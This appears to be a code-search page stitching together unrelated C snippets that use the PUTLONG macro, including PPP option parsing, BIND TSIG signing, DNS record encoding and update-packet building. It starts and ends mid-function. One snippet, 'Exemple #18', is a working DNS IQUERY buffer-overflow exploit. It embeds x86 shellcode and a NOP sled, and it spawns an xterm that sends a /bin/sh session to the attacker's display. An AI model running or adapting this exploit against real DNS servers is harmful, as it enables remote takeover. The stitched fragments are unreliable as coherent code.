	while (remlen() >= 2) {
		GETCHAR(type, pktp);
		GETCHAR(len, pktp);
		if (len <= 0 || remlen() + 2 < len)
			goto fail;

		switch (type) {
#ifdef USE_NPPPD_MPPE
		case CCP_MPPE:
			if (len < 6)
				goto fail;

			if (ppp->mppe.enabled == 0)
				goto reject;
			GETLONG(peer_bits, pktp);
			our_bits = mppe_create_our_bits(&ppp->mppe, peer_bits);
			if (our_bits != peer_bits) {
				if (reject_if_disagree) {
					pktp -= 4;
					goto reject;
				}
				if (lrej > 0) {
				/* don't nak because we are doing rej */
				} else {
					PUTCHAR(type, nakbuf);
					PUTCHAR(6, nakbuf);
					PUTLONG(our_bits, nakbuf);
					rcode = CONFNAK;
				}
			} else
				ppp->ccp.mppe_p_bits = our_bits;
			break;
reject:
#endif
		default:
			pktp -= 2;
			memcpy(rejbuf + lrej, pktp, len);
			lrej += len;
			pktp += len;
			rcode = CONFREJ;
		}
		continue;
	}
fail:
	switch (rcode) {
	case CONFREJ:
		memcpy(pktp0, rejbuf, lrej);
		*lpktp = lrej;
		break;
	case CONFNAK:
		len = nakbuf - nakbuf0;
		memcpy(pktp0, nakbuf0, len);
		*lpktp = len;
		break;
	}
	free(rejbuf);
	free(nakbuf0);

	return rcode;
#undef	remlen
}
Exemple #16
0
int
ns_sign_tcp2(u_char *msg, int *msglen, int msgsize, int error,
	     ns_tcp_tsig_state *state, int done,
	     u_char **dnptrs, u_char **lastdnptr)
{
	u_char *cp, *eob, *lenp;
	u_char buf[MAXDNAME], *cp2;
	HEADER *hp = (HEADER *)msg;
	time_t timesigned;
	int n;

	if (msg == NULL || msglen == NULL || state == NULL)
		return (-1);

	state->counter++;
	if (state->counter == 0)
		return (ns_sign2(msg, msglen, msgsize, error, state->key,
				 state->sig, state->siglen,
				 state->sig, &state->siglen, 0,
				 dnptrs, lastdnptr));

	if (state->siglen > 0) {
		u_int16_t siglen_n = htons(state->siglen);
		dst_sign_data(SIG_MODE_INIT, state->key, &state->ctx,
			      NULL, 0, NULL, 0);
		dst_sign_data(SIG_MODE_UPDATE, state->key, &state->ctx,
			      (u_char *)&siglen_n, INT16SZ, NULL, 0);
		dst_sign_data(SIG_MODE_UPDATE, state->key, &state->ctx,
			      state->sig, state->siglen, NULL, 0);
		state->siglen = 0;
	}

	dst_sign_data(SIG_MODE_UPDATE, state->key, &state->ctx, msg, *msglen,
		      NULL, 0);

	if (done == 0 && (state->counter % 100 != 0))
		return (0);

	cp = msg + *msglen;
	eob = msg + msgsize;

	/* Name. */
	n = dn_comp(state->key->dk_key_name, cp, eob - cp, dnptrs, lastdnptr);
	if (n < 0)
		return (NS_TSIG_ERROR_NO_SPACE);
	cp += n;

	/* Type, class, ttl, length (not filled in yet). */
	BOUNDS_CHECK(cp, INT16SZ + INT16SZ + INT32SZ + INT16SZ);
	PUTSHORT(ns_t_tsig, cp);
	PUTSHORT(ns_c_any, cp);
	PUTLONG(0, cp);		/*%< TTL */
	lenp = cp;
	cp += 2;

	/* Alg. */
	n = dn_comp(NS_TSIG_ALG_HMAC_MD5, cp, eob - cp, NULL, NULL);
	if (n < 0)
		return (NS_TSIG_ERROR_NO_SPACE);
	cp += n;
	
	/* Time. */
	BOUNDS_CHECK(cp, INT16SZ + INT32SZ + INT16SZ);
	PUTSHORT(0, cp);
	timesigned = time(NULL);
	PUTLONG(timesigned, cp);
	PUTSHORT(NS_TSIG_FUDGE, cp);

	/*
	 * Compute the signature.
	 */

	/* Digest the time signed and fudge. */
	cp2 = buf;
	PUTSHORT(0, cp2);	/*%< Top 16 bits of time */
	PUTLONG(timesigned, cp2);
	PUTSHORT(NS_TSIG_FUDGE, cp2);

	dst_sign_data(SIG_MODE_UPDATE, state->key, &state->ctx,
		      buf, cp2 - buf, NULL, 0);

	n = dst_sign_data(SIG_MODE_FINAL, state->key, &state->ctx, NULL, 0,
			  state->sig, sizeof(state->sig));
	if (n < 0)
		return (-ns_r_badkey);
	state->siglen = n;

	/* Add the signature. */
	BOUNDS_CHECK(cp, INT16SZ + state->siglen);
	PUTSHORT(state->siglen, cp);
	memcpy(cp, state->sig, state->siglen);
	cp += state->siglen;

	/* The original message ID & error. */
	BOUNDS_CHECK(cp, INT16SZ + INT16SZ);
	PUTSHORT(ntohs(hp->id), cp);	/*%< already in network order */
	PUTSHORT(error, cp);

	/* Other data. */
	BOUNDS_CHECK(cp, INT16SZ);
	PUTSHORT(0, cp);

	/* Go back and fill in the length. */
	PUTSHORT(cp - lenp - INT16SZ, lenp);

	hp->arcount = htons(ntohs(hp->arcount) + 1);
	*msglen = (cp - msg);
	return (0);
}
Exemple #17
0
void	ircd__putlong(u_int32_t l, u_char *msgp)
{
	PUTLONG(l, msgp);
}
Exemple #18
0
int attack(int fd, struct in_addr us, struct target_type t,
	   unsigned long offset, int optimized)
{
  char buff[sizeof(HEADER)+PRE_OF_DATALEN+RET_FROM_1NOP+4], *ptr=buff;
  HEADER *dnsh=(HEADER *)buff;
  unsigned long i;
  int dlen, len=0, al=ALEN_VAL, dl=DLEN_VAL;

  memset(dnsh,0,sizeof(HEADER));
  dnsh->id = htons(31337);
  dnsh->opcode = IQUERY;
  dnsh->rd = 1;
  dnsh->ra = 1;
  dnsh->ancount = htons(1);
  ptr += sizeof(HEADER);
  len += sizeof(HEADER);

  *ptr = '\0';
  ptr++;
  PUTSHORT(T_A,ptr);
  PUTSHORT(C_IN,ptr);
  PUTLONG(31337,ptr);
  dlen = (optimized?OPT_RET_FROM_1NOP:RET_FROM_1NOP)+4;
  PUTSHORT(dlen,ptr);
  len += PRE_OF_DATALEN;

  memset(ptr,'X',(sizeof(buff)-(ptr-buff)));

  if(t.systype==0)
    {
#ifdef REMOTE
      char c1[] =
	"\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74"
	"\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f"
	"\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd"
	"\x80\xe8\xcc\xff\xff\xff";
      char c2[] =
	"/usr/bin/X11/xterm\xff-display\xff";
      char c3[32];
      char c4[] =
	"\xfe\xe8\xb1\xff\xff\xff";

      snprintf(c3,sizeof(c3),"%s:0\xff-e\xff/bin/sh\xff",inet_ntoa(us));

      c1[4] = (unsigned char)0x32+strlen(c2)+strlen(c3);
      c4[2] = (unsigned char)0xc9-strlen(c2)-strlen(c3);

      i = EVILSPACE-strlen(c1)-strlen(c2)-strlen(c3)-strlen(c4);

      memset(ptr,0x90,i);
      memcpy((ptr+i),c1,strlen(c1));
      memcpy((ptr+i+strlen(c1)),c2,strlen(c2));
      memcpy((ptr+i+strlen(c1)+strlen(c2)),c3,strlen(c3));
      memcpy((ptr+i+strlen(c1)+strlen(c2)+strlen(c3)),c4,strlen(c4));
#else
      char c0de[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
        "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
        "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hi";
      int i = EVILSPACE-strlen(c0de);

      memset(ptr,0x90,i);
      memcpy((ptr+i),c0de,strlen(c0de));
#endif
    }
  else
    return(0);

  if(!optimized)
    {
      memcpy((ptr+(dlen-16)),&al,sizeof(al));
      memcpy((ptr+(dlen-12)),&dl,sizeof(dl));
    }

  i = (optimized?t.opt_addr:t.addr)+offset;
  memcpy((ptr+(dlen-4)),&i,sizeof(i));
  len += dlen;

  return(send_packet(fd,buff,len));
}
static u_char * write_record(unsigned char * ptr, PDNS_RECORD rr, unsigned char * EndPtr,
			   unsigned char ** dnptrs, unsigned char ** lastdnptr, int debug)
{
  u_char * rd_length_ptr;

  PUTDOMAIN(rr->pName, ptr);

  if (ptr + 4 > EndPtr)
    ptr += 4;
  else {
    PUTSHORT(rr->wType, ptr);
    PUTSHORT(ns_c_in, ptr);
  }
  if ((rr->Flags.DW & 0x3) == DnsSectionQuestion)
    return ptr;

  if (ptr + 4 > EndPtr)
    ptr += 4;
  else {
    PUTLONG(rr->dwTtl, ptr);
  }
  rd_length_ptr = ptr;
  ptr += 2; /* Placeholder for RDLENGTH */

  /* The default case uses an undocumented feature of the Windows
     resolver for types greater than 16.
     The DNS_RECORD Data contains the record in wire format. */

  switch(rr->wType) {
  case DNS_TYPE_A:
  {
    u_char * aptr = (u_char *) & rr->Data.A.IpAddress;
    if (ptr + 4 <= EndPtr) {
      ptr[0] = aptr[0];
      ptr[1] = aptr[1];
      ptr[2] = aptr[2];
      ptr[3] = aptr[3];
    }
    ptr += 4;
    break;
  }
  case DNS_TYPE_NS:
  case DNS_TYPE_MD:
  case DNS_TYPE_MF:
  case DNS_TYPE_CNAME:
  case DNS_TYPE_MB:
  case DNS_TYPE_MG:
  case DNS_TYPE_MR:
  case DNS_TYPE_PTR:
    PUTDOMAIN(rr->Data.PTR.pNameHost, ptr);
    break;
  case DNS_TYPE_SOA:
    PUTDOMAIN(rr->Data.SOA.pNamePrimaryServer, ptr);
    PUTDOMAIN(rr->Data.SOA.pNameAdministrator, ptr);
    if (ptr + 20 > EndPtr)
      ptr += 20;
    else {
      PUTLONG(rr->Data.SOA.dwSerialNo, ptr);
      PUTLONG(rr->Data.SOA.dwRefresh, ptr);
      PUTLONG(rr->Data.SOA.dwRetry, ptr);
      PUTLONG(rr->Data.SOA.dwExpire, ptr);
      PUTLONG(rr->Data.SOA.dwDefaultTtl, ptr);
    }
    break;
  case DNS_TYPE_NULL:
    if (ptr +  rr->Data.Null.dwByteCount <= EndPtr)
      memcpy(ptr, rr->Data.Null.Data, rr->Data.Null.dwByteCount);
    ptr += rr->Data.Null.dwByteCount;
    if (rr->Data.Null.dwByteCount == rr->wDataLength - sizeof(DNS_NULL_DATA) + 1)
      DPRINTF(debug, "Null byte count has an unexpected value\n");
    break;
  case DNS_TYPE_WKS:
    if (ptr + rr->wDataLength - sizeof(DNS_WKS_DATA) + 1 + 5 > EndPtr)
      ptr += rr->wDataLength - sizeof(DNS_WKS_DATA) + 1 + 5;
    else {
      PUTLONG(rr->Data.WKS.IpAddress, ptr);
      *ptr++ = rr->Data.WKS.chProtocol;
      memcpy(ptr, rr->Data.WKS.BitMask, rr->wDataLength - sizeof(DNS_WKS_DATA) + 1);
      ptr += rr->wDataLength - sizeof(DNS_WKS_DATA) + 1;
    }
    break;
  case DNS_TYPE_MINFO:
  case DNS_TYPE_RP:
    PUTDOMAIN(rr->Data.MINFO.pNameMailbox, ptr);
    PUTDOMAIN(rr->Data.MINFO.pNameErrorsMailbox, ptr);
    break;
  case DNS_TYPE_MX:
  case DNS_TYPE_AFSDB:
  case DNS_TYPE_RT:
    if (ptr + 2 > EndPtr)
      ptr += 2;
    else
      PUTSHORT(rr->Data.MX.wPreference, ptr);
    PUTDOMAIN(rr->Data.MX.pNameExchange, ptr);
    break;
  case DNS_TYPE_HINFO:
  case DNS_TYPE_ISDN:
  case DNS_TYPE_TEXT:
  case DNS_TYPE_X25:
  {
    unsigned int i, len;
    for (i = 0; i < rr->Data.TXT.dwStringCount; i++) {
      len = strlen(rr->Data.TXT.pStringArray[i]) & 0xFF;
      if (ptr + len + 1 > EndPtr)
	ptr += len + 1;
      else {
	*ptr++ = len;
	memcpy(ptr, rr->Data.TXT.pStringArray[i], len);
	ptr += len;
      }
    }
    break;
  }
  case DNS_TYPE_SRV:
    if (ptr + 6 > EndPtr)
      ptr += 6;
    else {
      PUTSHORT(rr->Data.SRV.wPriority, ptr);
      PUTSHORT(rr->Data.SRV.wWeight, ptr);
      PUTSHORT(rr->Data.SRV.wPort, ptr);
    }
    PUTDOMAIN(rr->Data.SRV.pNameTarget, ptr);
    break;
  default:
  {
    unsigned int len = rr->wDataLength;
    DPRINTF(debug, "No structure for wType %d\n", rr->wType);
    if (ptr + len <= EndPtr)
      memcpy(ptr, (char *) &rr->Data, len);
    ptr += len;
    break;
  }
  }
  if (rd_length_ptr + 2 <= EndPtr)
    PUTSHORT(ptr - rd_length_ptr - 2, rd_length_ptr);
  return ptr;
}
Exemple #20
0
/*%
 * Form update packets.
 * Returns the size of the resulting packet if no error
 *
 * On error,
 *	returns 
 *\li              -1 if error in reading a word/number in rdata
 *		   portion for update packets
 *\li		-2 if length of buffer passed is insufficient
 *\li		-3 if zone section is not the first section in
 *		   the linked list, or section order has a problem
 *\li		-4 on a number overflow
 *\li		-5 unknown operation or no records
 */
int
res_nmkupdate(res_state statp, ns_updrec *rrecp_in, u_char *buf, int buflen) {
	ns_updrec *rrecp_start = rrecp_in;
	HEADER *hp;
	u_char *cp, *sp2, *startp, *endp;
	int n, i, soanum, multiline;
	ns_updrec *rrecp;
	struct in_addr ina;
	struct in6_addr in6a;
        char buf2[MAXDNAME];
	u_char buf3[MAXDNAME];
	int section, numrrs = 0, counts[ns_s_max];
	u_int16_t rtype, rclass;
	u_int32_t n1, rttl;
	u_char *dnptrs[20], **dpp, **lastdnptr;
	int siglen, keylen, certlen;

	/*
	 * Initialize header fields.
	 */
	if ((buf == NULL) || (buflen < HFIXEDSZ))
		return (-1);
	memset(buf, 0, HFIXEDSZ);
	hp = (HEADER *) buf;
	hp->id = htons(++statp->id);
	hp->opcode = ns_o_update;
	hp->rcode = NOERROR;
	cp = buf + HFIXEDSZ;
	buflen -= HFIXEDSZ;
	dpp = dnptrs;
	*dpp++ = buf;
	*dpp++ = NULL;
	lastdnptr = dnptrs + sizeof dnptrs / sizeof dnptrs[0];

	if (rrecp_start == NULL)
		return (-5);
	else if (rrecp_start->r_section != S_ZONE)
		return (-3);

	memset(counts, 0, sizeof counts);
	for (rrecp = rrecp_start; rrecp; rrecp = NEXT(rrecp, r_glink)) {
		numrrs++;
                section = rrecp->r_section;
		if (section < 0 || section >= ns_s_max)
			return (-1);
		counts[section]++;
		for (i = section + 1; i < ns_s_max; i++)
			if (counts[i])
				return (-3);
		rtype = rrecp->r_type;
		rclass = rrecp->r_class;
		rttl = rrecp->r_ttl;
		/* overload class and type */
		if (section == S_PREREQ) {
			rttl = 0;
			switch (rrecp->r_opcode) {
			case YXDOMAIN:
				rclass = C_ANY;
				rtype = T_ANY;
				rrecp->r_size = 0;
				break;
			case NXDOMAIN:
				rclass = C_NONE;
				rtype = T_ANY;
				rrecp->r_size = 0;
				break;
			case NXRRSET:
				rclass = C_NONE;
				rrecp->r_size = 0;
				break;
			case YXRRSET:
				if (rrecp->r_size == 0)
					rclass = C_ANY;
				break;
			default:
				fprintf(stderr,
					"res_mkupdate: incorrect opcode: %d\n",
					rrecp->r_opcode);
				fflush(stderr);
				return (-1);
			}
		} else if (section == S_UPDATE) {
			switch (rrecp->r_opcode) {
			case DELETE:
				rclass = rrecp->r_size == 0 ? C_ANY : C_NONE;
				break;
			case ADD:
				break;
			default:
				fprintf(stderr,
					"res_mkupdate: incorrect opcode: %d\n",
					rrecp->r_opcode);
				fflush(stderr);
				return (-1);
			}
		}

		/*
		 * XXX	appending default domain to owner name is omitted,
		 *	fqdn must be provided
		 */
		if ((n = dn_comp(rrecp->r_dname, cp, buflen, dnptrs,
				 lastdnptr)) < 0)
			return (-1);
		cp += n;
		ShrinkBuffer(n + 2*INT16SZ);
		PUTSHORT(rtype, cp);
		PUTSHORT(rclass, cp);
		if (section == S_ZONE) {
			if (numrrs != 1 || rrecp->r_type != T_SOA)
				return (-3);
			continue;
		}
		ShrinkBuffer(INT32SZ + INT16SZ);
		PUTLONG(rttl, cp);
		sp2 = cp;  /*%< save pointer to length byte */
		cp += INT16SZ;
		if (rrecp->r_size == 0) {
			if (section == S_UPDATE && rclass != C_ANY)
				return (-1);
			else {
				PUTSHORT(0, sp2);
				continue;
			}
		}
		startp = rrecp->r_data;
		endp = startp + rrecp->r_size - 1;
		/* XXX this should be done centrally. */
		switch (rrecp->r_type) {
		case T_A:
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			if (!inet_aton(buf2, &ina))
				return (-1);
			n1 = ntohl(ina.s_addr);
			ShrinkBuffer(INT32SZ);
			PUTLONG(n1, cp);
			break;
		case T_CNAME:
		case T_MB:
		case T_MG:
		case T_MR:
		case T_NS:
		case T_PTR:
		case ns_t_dname:
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr);
			if (n < 0)
				return (-1);
			cp += n;
			ShrinkBuffer(n);
			break;
		case T_MINFO:
		case T_SOA:
		case T_RP:
			for (i = 0; i < 2; i++) {
				if (!getword_str(buf2, sizeof buf2, &startp,
						 endp))
				return (-1);
				n = dn_comp(buf2, cp, buflen,
					    dnptrs, lastdnptr);
				if (n < 0)
					return (-1);
				cp += n;
				ShrinkBuffer(n);
			}
			if (rrecp->r_type == T_SOA) {
				ShrinkBuffer(5 * INT32SZ);
				while (isspace(*startp) || !*startp)
					startp++;
				if (*startp == '(') {
					multiline = 1;
					startp++;
				} else
					multiline = 0;
				/* serial, refresh, retry, expire, minimum */
				for (i = 0; i < 5; i++) {
					soanum = getnum_str(&startp, endp);
					if (soanum < 0)
						return (-1);
					PUTLONG(soanum, cp);
				}
				if (multiline) {
					while (isspace(*startp) || !*startp)
						startp++;
					if (*startp != ')')
						return (-1);
				}
			}
			break;
		case T_MX:
		case T_AFSDB:
		case T_RT:
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr);
			if (n < 0)
				return (-1);
			cp += n;
			ShrinkBuffer(n);
			break;
		case T_SRV:
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);

			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);

			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);

			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			n = dn_comp(buf2, cp, buflen, NULL, NULL);
			if (n < 0)
				return (-1);
			cp += n;
			ShrinkBuffer(n);
			break;
		case T_PX:
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			PUTSHORT(n, cp);
			ShrinkBuffer(INT16SZ);
			for (i = 0; i < 2; i++) {
				if (!getword_str(buf2, sizeof buf2, &startp,
						 endp))
					return (-1);
				n = dn_comp(buf2, cp, buflen, dnptrs,
					    lastdnptr);
				if (n < 0)
					return (-1);
				cp += n;
				ShrinkBuffer(n);
			}
			break;
		case T_WKS: {
			char bm[MAXPORT/8];
			unsigned int maxbm = 0;

			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			if (!inet_aton(buf2, &ina))
				return (-1);
			n1 = ntohl(ina.s_addr);
			ShrinkBuffer(INT32SZ);
			PUTLONG(n1, cp);

			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			if ((i = res_protocolnumber(buf2)) < 0)
				return (-1);
			ShrinkBuffer(1);
			*cp++ = i & 0xff;
			 
			for (i = 0; i < MAXPORT/8 ; i++)
				bm[i] = 0;

			while (getword_str(buf2, sizeof buf2, &startp, endp)) {
				if ((n = res_servicenumber(buf2)) <= 0)
					return (-1);

				if (n < MAXPORT) {
					bm[n/8] |= (0x80>>(n%8));
					if ((unsigned)n > maxbm)
						maxbm = n;
				} else
					return (-1);
			}
			maxbm = maxbm/8 + 1;
			ShrinkBuffer(maxbm);
			memcpy(cp, bm, maxbm);
			cp += maxbm;
			break;
		}
		case T_HINFO:
			for (i = 0; i < 2; i++) {
				if ((n = getstr_str(buf2, sizeof buf2,
						&startp, endp)) < 0)
					return (-1);
				if (n > 255)
					return (-1);
				ShrinkBuffer(n+1);
				*cp++ = n;
				memcpy(cp, buf2, n);
				cp += n;
			}
			break;
		case T_TXT:
			for (;;) {
				if ((n = getstr_str(buf2, sizeof buf2,
						&startp, endp)) < 0) {
					if (cp != (sp2 + INT16SZ))
						break;
					return (-1);
				}
				if (n > 255)
					return (-1);
				ShrinkBuffer(n+1);
				*cp++ = n;
				memcpy(cp, buf2, n);
				cp += n;
			}
			break;
		case T_X25:
			/* RFC1183 */
			if ((n = getstr_str(buf2, sizeof buf2, &startp,
					 endp)) < 0)
				return (-1);
			if (n > 255)
				return (-1);
			ShrinkBuffer(n+1);
			*cp++ = n;
			memcpy(cp, buf2, n);
			cp += n;
			break;
		case T_ISDN:
			/* RFC1183 */
			if ((n = getstr_str(buf2, sizeof buf2, &startp,
					 endp)) < 0)
				return (-1);
			if ((n > 255) || (n == 0))
				return (-1);
			ShrinkBuffer(n+1);
			*cp++ = n;
			memcpy(cp, buf2, n);
			cp += n;
			if ((n = getstr_str(buf2, sizeof buf2, &startp,
					 endp)) < 0)
				n = 0;
			if (n > 255)
				return (-1);
			ShrinkBuffer(n+1);
			*cp++ = n;
			memcpy(cp, buf2, n);
			cp += n;
			break;
		case T_NSAP:
			if ((n = inet_nsap_addr((char *)startp, (u_char *)buf2, sizeof(buf2))) != 0) {
				ShrinkBuffer(n);
				memcpy(cp, buf2, n);
				cp += n;
			} else {
				return (-1);
			}
			break;
		case T_LOC:
			if ((n = loc_aton((char *)startp, (u_char *)buf2)) != 0) {
				ShrinkBuffer(n);
				memcpy(cp, buf2, n);
				cp += n;
			} else
				return (-1);
			break;
		case ns_t_sig:
		    {
			int sig_type, success, dateerror;
			u_int32_t exptime, timesigned;

			/* type */
			if ((n = getword_str(buf2, sizeof buf2,
					     &startp, endp)) < 0)
				return (-1);
			sig_type = sym_ston(__p_type_syms, buf2, &success);
			if (!success || sig_type == ns_t_any)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(sig_type, cp);
			/* alg */
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(1);
			*cp++ = n;
			/* labels */
			n = getnum_str(&startp, endp);
			if (n <= 0 || n > 255)
				return (-1);
			ShrinkBuffer(1);
			*cp++ = n;
			/* ottl  & expire */
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			exptime = ns_datetosecs(buf2, &dateerror);
			if (!dateerror) {
				ShrinkBuffer(INT32SZ);
				PUTLONG(rttl, cp);
			}
			else {
				char *ulendp;
				u_int32_t ottl;

				errno = 0;
				ottl = strtoul(buf2, &ulendp, 10);
				if (errno != 0 ||
				    (ulendp != NULL && *ulendp != '\0'))
					return (-1);
				ShrinkBuffer(INT32SZ);
				PUTLONG(ottl, cp);
				if (!getword_str(buf2, sizeof buf2, &startp,
						 endp))
					return (-1);
				exptime = ns_datetosecs(buf2, &dateerror);
				if (dateerror)
					return (-1);
			}
			/* expire */
			ShrinkBuffer(INT32SZ);
			PUTLONG(exptime, cp);
			/* timesigned */
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			timesigned = ns_datetosecs(buf2, &dateerror);
			if (!dateerror) {
				ShrinkBuffer(INT32SZ);
				PUTLONG(timesigned, cp);
			}
			else
				return (-1);
			/* footprint */
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);
			/* signer name */
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			n = dn_comp(buf2, cp, buflen, dnptrs, lastdnptr);
			if (n < 0)
				return (-1);
			cp += n;
			ShrinkBuffer(n);
			/* sig */
			if ((n = getword_str(buf2, sizeof buf2,
					     &startp, endp)) < 0)
				return (-1);
			siglen = b64_pton(buf2, buf3, sizeof(buf3));
			if (siglen < 0)
				return (-1);
			ShrinkBuffer(siglen);
			memcpy(cp, buf3, siglen);
			cp += siglen;
			break;
		    }
		case ns_t_key:
			/* flags */
			n = gethexnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);
			/* proto */
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(1);
			*cp++ = n;
			/* alg */
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(1);
			*cp++ = n;
			/* key */
			if ((n = getword_str(buf2, sizeof buf2,
					     &startp, endp)) < 0)
				return (-1);
			keylen = b64_pton(buf2, buf3, sizeof(buf3));
			if (keylen < 0)
				return (-1);
			ShrinkBuffer(keylen);
			memcpy(cp, buf3, keylen);
			cp += keylen;
			break;
		case ns_t_nxt:
		    {
			int success, nxt_type;
			u_char data[32];
			int maxtype;

			/* next name */
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			n = dn_comp(buf2, cp, buflen, NULL, NULL);
			if (n < 0)
				return (-1);
			cp += n;
			ShrinkBuffer(n);
			maxtype = 0;
			memset(data, 0, sizeof data);
			for (;;) {
				if (!getword_str(buf2, sizeof buf2, &startp,
						 endp))
					break;
				nxt_type = sym_ston(__p_type_syms, buf2,
						    &success);
				if (!success || !ns_t_rr_p(nxt_type))
					return (-1);
				NS_NXT_BIT_SET(nxt_type, data);
				if (nxt_type > maxtype)
					maxtype = nxt_type;
			}
			n = maxtype/NS_NXT_BITS+1;
			ShrinkBuffer(n);
			memcpy(cp, data, n);
			cp += n;
			break;
		    }
		case ns_t_cert:
			/* type */
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);
			/* key tag */
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);
			/* alg */
			n = getnum_str(&startp, endp);
			if (n < 0)
				return (-1);
			ShrinkBuffer(1);
			*cp++ = n;
			/* cert */
			if ((n = getword_str(buf2, sizeof buf2,
					     &startp, endp)) < 0)
				return (-1);
			certlen = b64_pton(buf2, buf3, sizeof(buf3));
			if (certlen < 0)
				return (-1);
			ShrinkBuffer(certlen);
			memcpy(cp, buf3, certlen);
			cp += certlen;
			break;
		case ns_t_aaaa:
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			if (inet_pton(AF_INET6, buf2, &in6a) <= 0)
				return (-1);
			ShrinkBuffer(NS_IN6ADDRSZ);
			memcpy(cp, &in6a, NS_IN6ADDRSZ);
			cp += NS_IN6ADDRSZ;
			break;
		case ns_t_naptr:
			/* Order Preference Flags Service Replacement Regexp */
			/* Order */
			n = getnum_str(&startp, endp);
			if (n < 0 || n > 65535)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);
			/* Preference */
			n = getnum_str(&startp, endp);
			if (n < 0 || n > 65535)
				return (-1);
			ShrinkBuffer(INT16SZ);
			PUTSHORT(n, cp);
			/* Flags */
			if ((n = getstr_str(buf2, sizeof buf2,
					&startp, endp)) < 0) {
				return (-1);
			}
			if (n > 255)
				return (-1);
			ShrinkBuffer(n+1);
			*cp++ = n;
			memcpy(cp, buf2, n);
			cp += n;
			/* Service Classes */
			if ((n = getstr_str(buf2, sizeof buf2,
					&startp, endp)) < 0) {
				return (-1);
			}
			if (n > 255)
				return (-1);
			ShrinkBuffer(n+1);
			*cp++ = n;
			memcpy(cp, buf2, n);
			cp += n;
			/* Pattern */
			if ((n = getstr_str(buf2, sizeof buf2,
					&startp, endp)) < 0) {
				return (-1);
			}
			if (n > 255)
				return (-1);
			ShrinkBuffer(n+1);
			*cp++ = n;
			memcpy(cp, buf2, n);
			cp += n;
			/* Replacement */
			if (!getword_str(buf2, sizeof buf2, &startp, endp))
				return (-1);
			n = dn_comp(buf2, cp, buflen, NULL, NULL);
			if (n < 0)
				return (-1);
			cp += n;
			ShrinkBuffer(n);
			break;
		default:
			return (-1);
		} /*switch*/
Exemple #21
0
//******************************************************************************
//	 			BuildIpConfigOptions
//******************************************************************************
void BuildIpConfigOptions(PCHProtConfig_t *ip_cnfg,
						  IPConfigAuthType_t authType,
						  CHAP_ChallengeOptions_t *cc,
						  CHAP_ResponseOptions_t *cr,
						  PAP_CnfgOptions_t *po)
{
	int len, i, tlen;
	u_char *outp, *lenp, *len_pid;			 
	u_long dnsaddr_pri;
	u_long dnsaddr_sec;
	u_short IPCP_prot = PPP_IPCP;
	u_short UPAP_prot = PPP_UPAP;
	u_short CHAP_prot = PPP_CHAP;
	u_long  ipaddr = 0;
    u_long l;

	
	len = 0;							//start at the top			 
	dnsaddr_pri = 0;
	dnsaddr_sec = 0;

	ip_cnfg->options[len++] = 0x80;	  	/* octet2, Protocol Config Option, PPP for use with  */


	/** build Protocol Identifier, CHAP authentication (RFC 1994)*/
	if(authType == REQUIRE_CHAP)
	{

		/* Send CHAP challenge packet here */
    	if ( cc->flag ) 						    /* Request the network for CHAP authentication? */
		{
			outp = (u_char *)&ip_cnfg->options[len];  
			PUTSHORT(CHAP_prot, outp);				/* CHAP protocol */
			len += 2;

			ip_cnfg->options[len++] = cc->len;		/* Protocol ID length */

	   		IPCPDEBUG(("Build Option: chap cc len=%d total=%d\n",cc->len,len));

			for (i = 0; i < cc->len; i++)		    /* octet27, send PAP data           */
				ip_cnfg->options[len++] = cc->content[i];	/* octetm           */
			cc->flag = 0;						    /* Clear Request flag. We only do this once per request     */
		}			
		/* Send CHAP response packet here */
    	if ( cr->flag ) 						    /* Request the network for PAP authentication? */
		{
			outp = (u_char *)&ip_cnfg->options[len];  
			PUTSHORT(CHAP_prot, outp);				/* CHAP protocol */
			len += 2;
		
